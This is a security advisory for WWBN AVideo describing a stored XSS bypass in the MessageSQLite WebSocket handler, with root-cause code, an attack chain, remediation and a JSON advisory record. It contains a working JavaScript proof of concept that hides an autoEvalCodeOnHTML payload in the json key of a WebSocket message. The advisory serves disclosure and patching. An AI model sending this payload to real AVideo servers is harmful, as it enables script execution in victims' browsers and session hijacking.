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    GHSA-2FHX-Q92V-5FHV

    Vulnerability from github – Published: 2026-06-04 18:55 – Updated: 2026-06-04 18:55
    VLAI
    Summary
    WWBN AVideo: Stored XSS via autoEvalCodeOnHTML Bypass in MessageSQLite WebSocket Handler (CVE-2026-43874 Bypass)
    Details

    AVideo: Stored XSS via autoEvalCodeOnHTML in MessageSQLite WebSocket Handler

    Summary

    AVideo has a stored XSS vulnerability in the WebSocket messaging system. The MessageSQLite.php handler only strips autoEvalCodeOnHTML from $json['msg'], but msgToResourceId() reads from $msg['json'] with higher priority. An attacker can place the XSS payload in the json key instead of msg, bypassing the sanitization entirely.

    Affected Versions

    AVideo <= latest

    Vulnerability Details

    Root Cause: Shallow sanitization only covers $json['msg']

    plugin/YPTSocket/MessageSQLite.php lines 268-271 — the incomplete fix:

    if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
        if (is_array($json['msg'] ?? null)) {
            unset($json['msg']['autoEvalCodeOnHTML']);  // Only strips from $json['msg']
        }
    }
    

    plugin/YPTSocket/MessageSQLite.php lines 361-367 — the bypass via msgToResourceId():

    if (!empty($msg['json'])) {
        $obj['msg'] = $msg['json'];       // $msg['json']['autoEvalCodeOnHTML'] is NEVER stripped
    } else if (!empty($msg['msg'])) {
        $obj['msg'] = $msg['msg'];        // Only this path was sanitized
    } else {
        $obj['msg'] = $msg;
    }
    

    Compare with the correctly patched Message.php (lines 254-256):

    $json = removeAutoEvalCodeOnHTMLRecursive($json);  // Strips from ALL nested paths
    

    And MessageSQLiteV2.php (lines 302-303):

    $json = removeAutoEvalCodeOnHTMLRecursive($json);  // Same recursive fix
    

    MessageSQLite.php does not call removeAutoEvalCodeOnHTMLRecursive() at all.

    Attack Chain

    • Attacker sends a WebSocket message with autoEvalCodeOnHTML in the json key instead of msg
    • The fix at line 268-271 only checks $json['msg'] — the json key is untouched
    • msgToResourceId() reads $msg['json'] first (line 361) because !empty($msg['json']) is true
    • The payload is delivered to the victim's WebSocket client and evaluated via autoEvalCodeOnHTML

    Proof of Concept

    // Connect to AVideo WebSocket as authenticated user
    const ws = new WebSocket('wss://TARGET/plugin/YPTSocket/server.php?token=USER_TOKEN');
    
    ws.onopen = () => {
      ws.send(JSON.stringify({
        msg: "Hello",                               // sanitized path — decoy
        json: {autoEvalCodeOnHTML: "alert('XSS')"},  // unsanitized path — payload
        to_users_id: VICTIM_USER_ID,
        resourceId: RESOURCE_ID
      }));
    };
    // Victim's client evaluates alert('XSS') via autoEvalCodeOnHTML mechanism
    

    Impact

    An authenticated attacker can:

    • Execute arbitrary JavaScript in any connected user's browser session via the WebSocket messaging system
    • Steal session cookies and authentication tokens
    • Perform account takeover via session hijacking
    • Chain with CSRF to execute admin actions on behalf of the victim

    The vulnerability affects the default SQLite WebSocket backend configuration.

    Suggested Remediation

    Apply removeAutoEvalCodeOnHTMLRecursive() in MessageSQLite.php, consistent with Message.php and MessageSQLiteV2.php:

    // Before (vulnerable — shallow strip):
    if (is_array($json['msg'] ?? null)) {
        unset($json['msg']['autoEvalCodeOnHTML']);
    }
    
    // After (fixed — recursive strip):
    $json = removeAutoEvalCodeOnHTMLRecursive($json);
    
    Show details on source website

    {
      "affected": [
        {
          "package": {
            "ecosystem": "Packagist",
            "name": "wwbn/avideo"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "last_affected": "29.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "aliases": [
        "CVE-2026-49279"
      ],
      "database_specific": {
        "cwe_ids": [
          "CWE-79"
        ],
        "github_reviewed": true,
        "github_reviewed_at": "2026-06-04T18:55:04Z",
        "nvd_published_at": null,
        "severity": "HIGH"
      },
      "details": "# AVideo: Stored XSS via `autoEvalCodeOnHTML` in MessageSQLite WebSocket Handler\n\n## Summary\n\nAVideo has a stored XSS vulnerability in the WebSocket messaging system. The `MessageSQLite.php` handler only strips `autoEvalCodeOnHTML` from `$json[\u0027msg\u0027]`, but `msgToResourceId()` reads from `$msg[\u0027json\u0027]` with higher priority. An attacker can place the XSS payload in the `json` key instead of `msg`, bypassing the sanitization entirely.\n\n\n## Affected Versions\n\nAVideo \u003c= latest\n\n## Vulnerability Details\n\n### Root Cause: Shallow sanitization only covers `$json[\u0027msg\u0027]`\n\n`plugin/YPTSocket/MessageSQLite.php` lines 268-271 \u2014 the incomplete fix:\n\n```php\nif (empty($msgObj-\u003eisCommandLineInterface) \u0026\u0026 ($msgObj-\u003esentFrom ?? \u0027\u0027) !== \u0027php\u0027) {\n    if (is_array($json[\u0027msg\u0027] ?? null)) {\n        unset($json[\u0027msg\u0027][\u0027autoEvalCodeOnHTML\u0027]);  // Only strips from $json[\u0027msg\u0027]\n    }\n}\n```\n\n`plugin/YPTSocket/MessageSQLite.php` lines 361-367 \u2014 the bypass via `msgToResourceId()`:\n\n```php\nif (!empty($msg[\u0027json\u0027])) {\n    $obj[\u0027msg\u0027] = $msg[\u0027json\u0027];       // $msg[\u0027json\u0027][\u0027autoEvalCodeOnHTML\u0027] is NEVER stripped\n} else if (!empty($msg[\u0027msg\u0027])) {\n    $obj[\u0027msg\u0027] = $msg[\u0027msg\u0027];        // Only this path was sanitized\n} else {\n    $obj[\u0027msg\u0027] = $msg;\n}\n```\n\nCompare with the correctly patched `Message.php` (lines 254-256):\n\n```php\n$json = removeAutoEvalCodeOnHTMLRecursive($json);  // Strips from ALL nested paths\n```\n\nAnd `MessageSQLiteV2.php` (lines 302-303):\n\n```php\n$json = removeAutoEvalCodeOnHTMLRecursive($json);  // Same recursive fix\n```\n\n`MessageSQLite.php` does not call `removeAutoEvalCodeOnHTMLRecursive()` at all.\n\n### Attack Chain\n\n- Attacker sends a WebSocket message with `autoEvalCodeOnHTML` in the `json` key instead of `msg`\n- The fix at line 268-271 only checks `$json[\u0027msg\u0027]` \u2014 the `json` key is untouched\n- `msgToResourceId()` reads `$msg[\u0027json\u0027]` first (line 361) because `!empty($msg[\u0027json\u0027])` is true\n- The payload is delivered to the victim\u0027s WebSocket client and evaluated via `autoEvalCodeOnHTML`\n\n## Proof of Concept\n\n```javascript\n// Connect to AVideo WebSocket as authenticated user\nconst ws = new WebSocket(\u0027wss://TARGET/plugin/YPTSocket/server.php?token=USER_TOKEN\u0027);\n\nws.onopen = () =\u003e {\n  ws.send(JSON.stringify({\n    msg: \"Hello\",                               // sanitized path \u2014 decoy\n    json: {autoEvalCodeOnHTML: \"alert(\u0027XSS\u0027)\"},  // unsanitized path \u2014 payload\n    to_users_id: VICTIM_USER_ID,\n    resourceId: RESOURCE_ID\n  }));\n};\n// Victim\u0027s client evaluates alert(\u0027XSS\u0027) via autoEvalCodeOnHTML mechanism\n```\n\n## Impact\n\nAn authenticated attacker can:\n\n- Execute arbitrary JavaScript in any connected user\u0027s browser session via the WebSocket messaging system\n- Steal session cookies and authentication tokens\n- Perform account takeover via session hijacking\n- Chain with CSRF to execute admin actions on behalf of the victim\n\nThe vulnerability affects the default SQLite WebSocket backend configuration.\n\n## Suggested Remediation\n\nApply `removeAutoEvalCodeOnHTMLRecursive()` in `MessageSQLite.php`, consistent with `Message.php` and `MessageSQLiteV2.php`:\n\n```php\n// Before (vulnerable \u2014 shallow strip):\nif (is_array($json[\u0027msg\u0027] ?? null)) {\n    unset($json[\u0027msg\u0027][\u0027autoEvalCodeOnHTML\u0027]);\n}\n\n// After (fixed \u2014 recursive strip):\n$json = removeAutoEvalCodeOnHTMLRecursive($json);\n```",
      "id": "GHSA-2fhx-q92v-5fhv",
      "modified": "2026-06-04T18:55:04Z",
      "published": "2026-06-04T18:55:04Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-2fhx-q92v-5fhv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/WWBN/AVideo/commit/3e0b3ce2bfa766183ff0ae227439394db57b1a23"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/WWBN/AVideo"
        }
      ],
      "schema_version": "1.4.0",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "WWBN AVideo: Stored XSS via autoEvalCodeOnHTML Bypass in MessageSQLite WebSocket Handler (CVE-2026-43874 Bypass)"
    }